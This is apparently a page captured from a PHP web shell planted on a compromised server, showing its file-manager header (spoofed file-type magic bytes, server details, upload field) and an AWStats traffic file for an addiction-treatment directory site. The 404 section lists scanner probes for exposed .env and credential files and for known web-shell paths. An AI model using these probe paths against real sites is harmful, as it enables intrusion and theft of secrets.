%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/tmp/awstats/ssl/awstats062023.addictionfreeindia.in.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202306 will be lost/reset.
# Last config file used to build this data file was /home/addictionfreeind/tmp/awstats/ssl/awstats.addictionfreeindia.in.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2030                
POS_TIME 2714                
POS_VISITOR 35377               
POS_DAY 75287               
POS_DOMAIN 3813                
POS_LOGIN 4598                
POS_ROBOT 4753                
POS_WORMS 6344                
POS_EMAILSENDER 6475                
POS_EMAILRECEIVER 6618                
POS_SESSION 76239               
POS_SIDER 76453               
POS_FILETYPES 6753                
POS_DOWNLOADS 7254                
POS_OS 7418                
POS_BROWSER 8092                
POS_SCREENSIZE 13335               
POS_UNKNOWNREFERER 13409               
POS_UNKNOWNREFERERBROWSER 14928               
POS_ORIGIN 15836               
POS_SEREFERRALS 15993               
POS_PAGEREFS 16315               
POS_SEARCHWORDS 17660               
POS_KEYWORDS 18061               
POS_MISC 2377                
POS_ERRORS 18353               
POS_CLUSTER 4454                
POS_SIDER_404 18511               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230701000903 786 198363 15499614961332
FirstTime 20230601003259
LastTime 20230630235516
LastUpdate 20230701175654 786 0 785 0 0
TotalVisits 1027                
TotalUnique 870                 
MonthHostsKnown 0                   
MonthHostsUnknown 1043                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
RealPlayerSupport 0 0 0
AddToFavourites 0 53 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 877 1129 56473480 2827 3787 288085532
1 269 373 17469756 1985 3188 411171233
2 319 406 8330713 1226 2295 340191595
3 181 262 18601844 1032 1577 91663514
4 106 145 4544474 867 1491 117398158
5 191 284 8206254 1014 1765 159017759
6 257 412 23683881 1951 2559 91158977
7 637 890 45398387 1639 2273 120157213
8 553 694 12598950 1582 2216 109011911
9 561 653 13195625 1225 1892 134737738
10 1678 1909 19600281 1112 1868 116145989
11 3842 4393 107955677 1111 1764 110811033
12 2341 2660 45251124 1084 1715 123767778
13 2588 2941 45232155 1099 1854 129943306
14 1298 1711 83781831 1009 1654 124413407
15 1673 2022 39800069 1146 1721 109827765
16 2818 3146 30031286 1283 1833 89917053
17 2385 2744 38728127 1395 2325 182441802
18 1596 1991 78632851 1281 1948 120197786
19 1037 1313 38719176 1281 1982 110386929
20 1170 1747 136655053 1251 1839 109380293
21 1166 1396 32377443 1813 2486 153906599
22 845 1165 39082454 3454 4135 157510557
23 938 1350 83351746 3224 3957 184434822
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 37
in 16682 20356 610794328
us 9906 12018 260127737
ca 1147 1611 118925425
hk 944 982 3134206
gb 152 152 2339126
ru 122 122 1278900
ch 68 68 718251
cn 59 122 20156900
se 47 56 589972
de 40 41 1110037
pl 34 34 365359
jp 24 24 1555642
ma 11 24 984057
fr 10 22 590182
nz 10 26 919730
dk 10 10 0
hu 8 8 84552
es 7 7 73975
ir 6 6 66146
be 5 11 458588
mx 4 4 467356
id 4 4 352105
at 3 3 31130
no 3 3 337362
nl 3 3 128145
my 0 1 583077
gr 2 2 232118
it 2 2 126338
br 2 2 21144
kh 2 2 21106
vn 1 1 10572
cz 1 1 10533
au 1 2 944103
sa 1 1 10279
ro 1 1 112454
zz 1 1 10572
tr 3 3 31130
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 36
robot 9944 901124774 20230630014509 3
spider 8773 729243667 20230609003328 8
bot[\s_+:,\.\;\/\\-] 7571 89789435 20230630230947 41
feed 6410 738725741 20230626205644 23
AhrefsBot/ 6085 653833585 20230630183648 102
DotBot/ 2838 261881672 20230630234057 472
Barkrowler 2591 25679324 20230624035539 6
Googlebot/ 2404 21913269 20230630231944 71
MJ12bot/ 1884 18246391 20230630205517 78
bingbot/ 1656 98262590 20230630235123 60
SemrushBot/ 570 3980517 20230630193626 174
Applebot/ 252 2284630 20230630210335 25
AdsBot\-Google[\x20]\( 163 4104123 20230630094638 0
Googlebot\-Image/ 136 37574613 20230630215227 0
crawl 64 180484 20230630192317 31
Lightspeed 34 1169632 20230612174151 0
no_user_agent 31 3281752 20230629093843 0
unknown 25 2099 20230629111816 25
Go\-http\-client/ 16 166966 20230620195928 0
(firefox/)([0-9]\.|[0-1][0]\.) 13 340890 20230630053128 0
DuckDuckBot-Https 10 51810 20230630172527 5
DuckDuckGo\-Favicons\-Bot/ 9 92511 20230630140143 0
CFNetwork 8 84990 20230626084246 0
nbot 4 20438 20230620043203 2
linkdexbot/ 4 32672 20230620160840 1
java 1 112454 20230626102840 0
survey 3 337362 20230606084320 0
Dalvik/ 1 635937 20230612194511 0
facebookexternalhit/ 2 224908 20230616154050 0
SurdotlyBot/ 1 10279 20230617222958 0
proximic 2 42 20230629112128 0
Apache\-HttpClient/ 3 249 20230628034003 3
Konqueror/ 3 27716 20230629223410 0
Validator\.nu/ 1 10279 20230601065455 0
SemrushBot-SI 3 42228 20230628034005 0
curl 4 168980 20230629061605 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 22
css 1391 11267853 0 0
remote 1 10550 0 0
woff 672 20109516 0 0
env 36 379470 0 0
html 323 10369279 0 0
png 1536 342672942 0 0
php7 6 63498 0 0
xml 5 587705 0 0
jpg 1226 504311831 0 0
local 4 42327 0 0
py 3 31695 0 0
shtml 21 1704157 0 0
ttf 340 73120480 0 0
Unknown 1092 15531778 0 0
js 2137 21158586 0 0
txt 11 434173 0 0
rb 6 63393 0 0
json 12 126981 0 0
php 26788 6506980 0 0
bak 15 158742 0 0
jpeg 109 19029597 0 0
save 2 21104 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 5
/ads.txt 21 0 242671
/app-ads.txt 16 0 84552
/humans.txt 5 0 158876
/sitemap.txt 2 0 21124
/security.txt 1 0 117034
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 41
ios_iphone 558 287
macosx14 4 2
win7 773 752
macosx10 9 9
android 8292 6972
androidkitkat 2 2
bsdfreebsd 1 1
unix 1 0
macosx15 504 386
ios_ipad 3 0
symbian 2 0
beos 1 0
macosx7 1 1
androidoreo 859 607
androidjellybean 1 0
android10 12804 9764
win8.1 202 144
bsdopenbsd 3 2
macosx13 4 2
winvista 5 5
winxp 15 14
macosx9 4 4
macosx8 6 6
macosx6 1 0
linuxubuntu 17 12
androidmarshmallow 197 170
win8 2 1
win10 9293 8530
androidpie 1140 958
macosx 2 2
Unknown 105 80
psp 1 0
linux 611 375
win2003 4 1
androidlollipop 121 85
androidnougat 178 147
winnt 4 4
winlong 2 0
linuxgentoo 2 1
androidics 1 0
macosx12 1 0
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 235
firefox112.0 26 15
opera49.0.2711.0 5 5
seamonkey 1 0
chrome96.0.4664.104 709 649
firefox67.0.2 1 1
safari 85 32
chrome44.0.2403.155 1 1
chrome89.0.4389.105 60 48
mozilla 59 38
safari15.5 3 1
chrome83.0.4103.7 21 21
chrome105.0.5195.136 2 0
chrome110.0.5481.100 62 14
chrome79.0.3945.130 18 18
chrome83.0.4103.101 1 0
chrome36.0.1985.125 2 2
chrome70.0.3538.77 1 1
chrome84.0.4147.111 254 178
chrome103.0.5060.71 6 1
chrome92.0.4515.131 21 6
chrome20.0.1132.57 1 0
firefox89.0 1 1
chrome94.0.4606.85 656 579
chrome11.0.652.0 4 1
chrome99.0.4859.172 10 10
edge18 24 24
firefox50.0.2 1 1
chrome114.0.5735.61 1 0
chrome101.0.4950.2 1 0
nokia 3 0
opera75.4.3978.72990 21 9
chrome91.0.4472.101 31 8
chrome114.0.0.0 11579 9315
chrome101.0.4951.64 1 0
chrome92.0.4489.3 30 18
chrome53.0.2820.59 2 2
chrome75.0.3770.80 1 0
chrome95.0.4638.50 172 159
chrome101.0.4951.61 1 0
chrome96.0.4664.45 173 77
msie9.0 20 20
chrome107.0.5304.105 3 0
netscape4.0 1 0
chrome103.0.5060.134 3 1
chrome70.0.3538.80 26 14
chrome60.0.3112.107 74 74
safari12.1.1 1 0
android 12 2
chrome91.0.4472.88 475 448
firefox63.0 18 18
chrome110.0.5481.65 2 0
chrome97.0.4692.70 1 0
chrome110.0.5481.153 2 0
chrome71.0.3578.141 16 3
firefox109.0 31 6
chrome95.0.4638.69 8 8
chrome98.0.4758.80 1 1
chrome111.0.5563.146 1 1
chrome111.0.5563.116 6 0
safari13.0 1 0
chrome37.0.2062.124 3 3
chrome35.0.3319.102 3 3
safari5.0.2 1 0
chrome101.0.4950.0 1 0
chrome110.0.0.0 165 131
chrome101.0.0.0 250 198
chrome99.0.4844.88 281 180
chrome14.0.354.71 6 6
chrome78.0.3904.108 18 18
firefox114.0 1897 1799
chrome100.0.4896.88 29 13
chrome49.0.2656.18 5 5
chrome113.0.0.0 6856 5961
opera52.0.2871.40 1 1
netscape 1 1
chrome55.0.2919.83 2 2
chrome74.0.3729.169 71 71
chrome95.0.4638.74 1 0
chrome43.0.2357.121 16 4
netscape5.0 5 5
firefox96 7 7
chrome34.0.1866.237 2 2
safari16.1 3 3
firefox57.0 1 1
chrome102.0.5005.63 3 1
chrome59.0.3071.125 23 9
galeon 2 0
chrome35.0.1916.47 1 1
chrome41.0.2224.3 2 2
chrome87.0.4280.141 590 503
chrome52.0.2762.73 3 3
chrome84.0.4147.125 45 33
chrome102.0.0.0 69 46
firefox95.0 17 17
chrome107.0.0.0 86 73
firefox96.0 4 4
chrome86.0.4240.198 20 8
chrome98.0.4758.87 44 31
chrome34.0.1847.137 3 3
chrome89.0.4389.114 10 10
chrome74.0.3729.136 201 152
chrome97.0.4692.98 35 23
chrome113.0.5672.131 5 0
chrome83.0.4103.106 676 638
chrome45.0.2454.85 1 1
chrome113.0.5672.76 4 0
chrome64.0.3282.137 1 0
chrome41.0.2226.0 3 3
chrome99.0.4844.73 22 10
chrome83.0.4103.97 49 49
chrome 1 1
msie6.0 1 1
firefox74.0 2 2
chrome112.0.5615.135 4 0
chrome41.0.2227.0 4 4
chrome81.0.4044.92 62 38
chrome40.0.2214.93 7 7
chrome113.0.5672.162 19 0
chrome110.0.5481.154 176 157
chrome84.0.4147.105 7 7
safari12.2.1.0.4 1 0
safari16.3 70 22
chrome80.0.3987.149 19 19
chrome114.0.5735.106 82 81
firefox108.0 136 82
chrome75.0.3770.143 1 0
chrome58.0.3029.110 2 2
safari9.0 1 0
chrome36.0.1985.67 3 3
chrome59.0.3071.115 5 5
chrome113.0.5672.132 1 0
chrome28.0.1468.0 2 2
chrome35.0.2117.157 1 1
chrome91.0.4472.120 46 35
chrome35.0.2309.372 3 3
chrome114.0.5735.60 11 0
chrome41.0.2227.1 1 1
chrome108.0.0.0 691 435
chrome102.0.5005.125 48 24
chrome83.0.4103.61 7 1
chrome101.0.4951.54 1 0
chrome114.0.5735.147 1 0
chrome65.0.3325.230 1 0
chrome114.0.5735.131 3 0
chrome80.0.3987.99 65 19
chrome113.0.5672.163 45 24
chrome110.0.5481.77 31 7
chrome76.0.3809.100 1 1
chrome103.0.5060.129 3 0
safari16.5 163 135
chrome52.0.2455.98 1 1
chrome39.0.2171.95 2 2
chrome103.0.5060.114 2 2
lg\- 1 0
chrome93.0.4577.63 1 0
chrome88.0.4240.193 9 9
chrome65.0.3325.181 1 0
firefox28.0 1 0
chrome35.0.1916.153 1 1
chrome108.0.5359.128 7 0
safari16.0 63 21
chrome103.0.0.0 1223 1134
firefox92.0 32 27
chrome105.0.0.0 2249 2189
chrome93.0.4577.82 19 19
iphone 1 0
chrome106.0.0.0 140 101
chrome78.0.3904.96 2 0
chrome41.0.2225.0 6 6
chrome112.0.5615.121 39 14
safari16.2 4 0
chrome109.0.0.0 470 258
chrome112.0.0.0 631 497
chrome9.0.601.0 1 0
chrome114.0.5735.130 38 17
chrome90.0.4430.210 66 23
opera60.0.3255.170 1 1
firefox48.0 144 88
safari14.0.3 17 17
firefox11.0 1 0
chrome80.0.3987.162 1 1
chrome68.0.3440.84 1 0
chrome71.0.3578.99 56 32
chrome87.0.4280.101 6 0
safari15.1 1 1
sonyericsson 1 0
chrome104.0.0.0 396 284
chrome55.0.2869.0 1 0
chrome54.0.2866.71 1 1
firefox113.0 712 712
chrome55.0.2859.0 1 1
msie8.0 1 0
firefox91.0 1 1
safari14.1.2 1 0
chrome41.0.2228.0 4 4
chrome112.0.5615.101 2 0
chrome66.0.3359.158 79 64
itunes 1 0
chrome104.0.5112.97 14 0
opera70.0.2254.66375 40 28
chrome111.0.0.0 654 519
chrome37.0.2049.0 6 6
chrome80.0.3987.163 5 5
chrome99.0.4844.58 32 20
chrome100.0.4896.79 20 8
chrome91.0.4472.114 115 23
chrome78.0.3904.87 16 4
firefox12.0 1 0
chrome81.0.4044.138 25 11
chrome4.0.249.0 1 0
edge17 1 1
chrome79.0.3945.79 30 5
safari15.6.1 45 24
chrome75.0.3770.142 1 0
firefox77.0 17 17
chrome42.0.2311.90 2 2
firefox72.0 4 0
chrome76.0.3809.111 5 1
firefox102.0 12 12
chrome70.0.3538.110 1 1
chrome111.0.5563.58 2 0
chrome109.0.5414.117 1 0
safari15.3 3 0
chrome90.0.4430.93 1 0
chrome100.0.4896.58 1 0
safari16.4 119 51
chrome72.0.3626.121 3 2
chrome76.0.3809.87 1 0
chrome74.0.3694.0 3 2
msie11.0 12 11
chrome79.0.3945.116 10 10
Unknown 41 39
firefox40.0 2 2
chrome106.0.5249.126 25 9
safari6.0.2 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 24
SonyEricssonW995/R1EA_Profile/MIDP-2.1_Configuration/CLDC-1.1_UNTRUSTED/1.0 20230629223540
Mozilla/5.0_zgrab/0.x 20230619154828
Mozilla/5.0_(compatible;_Google-Site-Verification/1.0) 20230610031142
SEMrushBot 20230612202145
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20230626064406
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230628071446
python-requests/2.20.1 20230611200759
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20230622140937
cpp-httplib/0.10.9 20230623093617
Adobe_Application_Manager_2.0 20230629223539
python-requests/2.31.0 20230629155819
Mozilla/5.0_(compatible;_Dataprovider.com) 20230627002125
Mozila/5.0 20230620195927
python-requests/2.27.1 20230616141755
python-requests/2.28.1 20230626225028
WhatsApp/2.23.9.75_A 20230617221046
Mozilla/5.0_(l9scan/2.0.3393e26323e28383e2634313;__https://leakix.net) 20230619154737
ALittle_Client 20230630080435
python-requests/2.28.2 20230622232824
Nokia6100/1.0_(04.01)_Profile/MIDP-1.0_Configuration/CLDC-1.0 20230629223510
Python/3.11_aiohttp/3.8.4 20230603034948
python-requests/2.26.0 20230626130832
WhatsApp/2.23.12.78_A 20230626150651
WhatsApp/2.23.11.77_A 20230618234033
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 16
cpp-httplib/0.10.9 20230623093617
Adobe_Application_Manager_2.0 20230629223539
python-requests/2.31.0 20230629155819
Python/3.11_aiohttp/3.8.4 20230603034948
Mozila/5.0 20230620195927
python-requests/2.26.0 20230626130832
python-requests/2.27.1 20230616141755
WhatsApp/2.23.12.78_A 20230626150651
WhatsApp/2.23.11.77_A 20230618234033
python-requests/2.28.1 20230626225028
WhatsApp/2.23.9.75_A 20230617221046
SEMrushBot 20230612202145
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230628071446
python-requests/2.28.2 20230622232824
ALittle_Client 20230630080435
python-requests/2.20.1 20230611200759
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 871 1328
From1 63 63
From2 520 726
From3 11295 11303
From4 16577 22316
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 9
google_com 4 21
www_google_ca 0 3
in_images_search_yahoo_com 0 1
duckduckgo 3 3
in_search_yahoo_com 1 1
search 1 1
www_google_co_in 13 21
www_bing_com 6 6
www_google_com 492 669
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 27
https://gdigitalindia.in 8366 8366
https://repairatdoor.com 1791 1791
https://www.repairatdoor.com 515 515
https://gdigitalindia.in/sites/door-step/ 242 242
https://www.suryakantjhaeyesurgeon.com 155 155
https://gdigitalindia.in/sites/door-step/index.html 87 87
https://www.gdigitalindia.in 27 27
https://gdigitalindia.in/sites/door-step/service.html 20 20
https://gdigitalindia.in/sites/door-step/career.html 12 12
https://gdigitalindia.in/sites/door-step/contact.html 10 10
https://www.suryakantjhaeyesurgeon.com/ads/thanks.php 10 10
https://dharmrajpackersandmovers.com 9 9
http://dharmrajpackersandmovers.com 8 8
https://mail.repairatdoor.com 6 6
http://mail.addictionfreeindia.in/wp-login.php 5 5
http://mail.addictionfreeindia.in 5 5
http://mail.addictionfreeindia.in/bc 3 3
http://mail.addictionfreeindia.in/backup 3 3
http://mail.addictionfreeindia.in/old 3 3
http://mail.addictionfreeindia.in/home 3 3
http://mail.addictionfreeindia.in/new 3 3
http://mail.addictionfreeindia.in/wp 3 3
http://mail.addictionfreeindia.in/wordpress 3 3
http://mail.addictionfreeindia.in/bk 3 3
http://mail.addictionfreeindia.in/main 3 3
https://tarelico.vercel.app 0 1
https://www.aashifoundation.co.in 0 7
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 4
https+//addictionfreeindia.in/nasha-mukti-kendra-in-chandigarh 1
https+//addictionfreeindia.in/nasha-mukti-kendra-in-jodhpur 1
https+//addictionfreeindia.in/nasha-mukti-kendra-in-nagpur 1
https+//addictionfreeindia.in/nasha-mukti-kendra-in-khanna 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 5
https 4
//addictionfreeindia.in/nasha-mukti-kendra-in-chandigarh 1
//addictionfreeindia.in/nasha-mukti-kendra-in-jodhpur 1
//addictionfreeindia.in/nasha-mukti-kendra-in-nagpur 1
//addictionfreeindia.in/nasha-mukti-kendra-in-khanna 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 6
403 105 1103743
302 1 21
206 38 3943497
301 1 258
404 2393 85769775
500 14 422888
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 415
/static/admin/javascript/hetong.js 3 -
/dependencies/sendgrid.env 3 -
/cronlab/.env 1 https://www.google.com/
/js/uploadify/uploadify.css 1 -
/wp-includes/images/ 2 www.google.com
/dependencies/.env 3 -
/wp-content/themes/universal-news/www.php 4 www.google.com
/.well-known/gpc.json 2 https://addictionfreeindia.in/
/img/1609184119.jpg 25 -
//shop/wp-includes/wlwmanifest.xml 18 -
/oldsite/wp-admin/install.php 2 -
/wp-includes/class-wp-page-icon.php 1 -
/wp-content/plugins/td-cloud-library/assets/css/tdb_wp_admin_taxonomies.css 1 -
/https://www.addictionfreeindia.in/ 1 -
/apps/sendgrid.env 3 -
/wp-content/plugins/wp-automatic/changelog 1 -
/public/plugins/uploadify/uploadify.css 1 -
/css/grabbing.png 3 https://www.addictionfreeindia.in/css/owl.carousel.css
/public/_ignition/health-check/ 3 http://addictionfreeindia.in/public/_ignition/health-check/
/api/.env 4 -
/wp-includes/blocks/table/int/tmpl/index.php 1 http://addictionfreeindia.in/wp-includes/blocks/table/int/tmpl/index.php
/wp-content/plugins/dzs-zoomsounds/savepng.php 1 -
/search/.env 3 -
/wp-admin/css/colors/blue/blue.php 4 www.google.com
/wp-content/ALFA_DATA/alfacgiapi/ 1 -
/img/fa.php 2 -
/wp-content/plugins/Cache/Cache.php 4 www.google.com
/wp-admin/images/ 2 www.google.com
/assets/admin/tinymce/plugins/filemanager/dialog.php 1 -
/adminer/index.php 1 -
/upload/server/php/ 1 -
/wp-content/themes/seotheme/db.php 23 http://addictionfreeindia.in//wp-content/themes/seotheme/db.php
/wp-content/plugins/ccx/index.php 1 -
/credentials/config.json 3 -
/django/settings.py 3 -
/site/sendgrid.env 3 -
/wp-admin/css/colors/ 2 www.google.com
/wp-content/themes/mero-megazines/ws.php 3 -
/wp-content/plugins/dos2unix/dos2unix.php 2 -
/ADMIN/.env 3 -
/wp-admin/wso112233.php 2 -
//2021/wp-includes/wlwmanifest.xml 4 -
/tools/.env 1 https://www.google.com/
/personal/sendgrid.env 3 -
/lib/filemanager/dialog.php 1 -
//wordpress/wp-includes/wlwmanifest.xml 19 -
/site/wp-admin/install.php 2 -
/tinymce/plugins/filemanager/dialog.php 1 -
/laravel/.env 4 -
/wp-content/themes/hello-element/footer.php 7 www.google.com
/framework/.env 3 -
/wp-content/vz_22FEF.php 1 -
/psnlink/.env 1 https://www.google.com/
//2018/wp-includes/wlwmanifest.xml 10 -
/vendor/phpunit/phpunit/phpunit.xsd 1 -
/wp-content/themes/wpclassic/inc/index.php 3 -
/webroot/wp-includes/ 1 www.google.com
/assets/credentials.json 3 -
/master/sendgrid.env 3 -
/wp-includes/pomo/umpomone.php 1 -
/listing/Nasha-Mukti-Kendra-in-Delhi/turning-ponit-foundation--Delhi 23 -
/development/.env 3 -
/.well-known/assetlinks.json 4 https://addictionfreeindia.in/
/cron/.env 1 https://www.google.com/
/document/.env 3 -
/engine/sendgrid.env 3 -
/wp-includes/wso112233.php 2 -
/wp-content/plugins/revslider/includes/external/page/index.php 2 -
/old/wp-admin/install.php 2 -
/wp-includes/wp-class.php 6 www.google.com
/uploads/.env 1 https://www.google.com/
//test/wp-includes/wlwmanifest.xml 18 -
/misc/ajax.js 1 -
/media/filemanager/dialog.php 1 -
//wp1/wp-includes/wlwmanifest.xml 18 -
/wp-content/plugins/anttt/simple.php 4 www.google.com
/local/sendgrid.env 3 -
/Public/home/js/check.js 3 -
/wp-admin/install.php 2 -
/search/sendgrid.env 3 -
/img/1577351614.jpg 4 https://www.addictionfreeindia.in/listing/Anandvan-manovikas-vyasanmukti-counselling-center--pune
/web/settings/settings.py 3 -
/img/3151947088.jpg 8 https://www.addictionfreeindia.in/listing/We-Care-Physiotherapy-&-Rehabilitation-Centre.--amritsar
/wp-content/plugins/easy-digital-downloads/readme.txt 1 -
/public/filemanager/dialog.php 1 -
/API/sendgrid.env 3 -
/img/4732054761.jpg 5 https://www.addictionfreeindia.in/listing/Anandvan-manovikas-vyasanmukti-counselling-center--pune
/wp-content/cong.php 1 www.google.com
/backend/.env 3 -
/wp-content/themes/applica/400.php 4 www.google.com
/src/.env 3 -
/img/4728120759.jpg 32 -
/img/3154700626.jpg 4 -
/img/favicon.png 407 https://www.addictionfreeindia.in/nasha-mukti-kendra-in-Kota
/vod_installer/.env 3 -
/img/4750472466.jpg 4 -
/web/.env 4 -
/scripts/filemanager/dialog.php 1 -
/wp-content/plugins/sid/sidwso.php 3 www.google.com
/img/4750472403.jpg 12 https://www.addictionfreeindia.in/Nasha-Mukti-Kendra-in-Ghaziabad
/ALFA_DATA/alfacgiapi/perl.alfa 1 www.google.com
/wp-admin/user/ 2 www.google.com
/wp-content/fw.php 2 -
/cms/tinymce/filemanager/filemanager/dialog.php 1 -
/blog/wp-login.php 2 http://addictionfreeindia.in
/img/7886751415.jpg 29 -
/wp-admin/maint/ 2 www.google.com
/wp-content/upgrade/ 2 www.google.com
/asset_admin/assets/plugins/jquery-file-upload/server/php/ 1 -
/core/sendgrid.env 3 -
/rest/sendgrid.env 3 -
/listing/Franks-Wellness-/-Nasha-Mukti-Kendra-/-Rehabilitation-Center--Ghaziabad 9 -
/v2/_catalog 1 -
/master/.env 3 -
/asset/filemanager/dialog.php 1 -
/wp-content/plugins/xwp/up.php 2 -
/wp-content/plugins/w0rdpr3ssnew/wp-login.php 1 www.google.com
/wp-content/themes/pridmag/db.php 2 www.google.com
/engine/.env 3 -
/wp-admin/js/widgets/wp-login.php 1 -
/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php 2 -
/wp-content/plugins/wpputty/wpputty.php 2 -
/exapi/.env 1 https://www.google.com/
/wp-content/plugins/ango/sett.php 1 www.google.com
/editor/filemanager/dialog.php 1 -
//web/wp-includes/wlwmanifest.xml 19 -
/laravel/sendgrid.env 3 -
/auth/sendgrid.env 3 -
/wp-plugins/ALFA_DATA/alfacgiapi/ 1 -
/img/3154703336.jpg 32 -
/img/7884632550.jpeg 36 -
/frontend/.env 3 -
/assets/scripts/filemanager/dialog.php 1 -
/assets/js/uploadify/uploadify.css 1 -
/user_data/packages/default/img/appendimg/head_contact.jpg 11 -
/config/default.json 3 -
/cli/sendgrid.env 3 -
/new/wp-admin/install.php 2 -
/wp-content/plugins/background-image-cropper/ups.php 2 www.google.com
/application/.env 3 -
/img/7880266730.jpg 36 -
/uploadify/uploadify.css 1 -
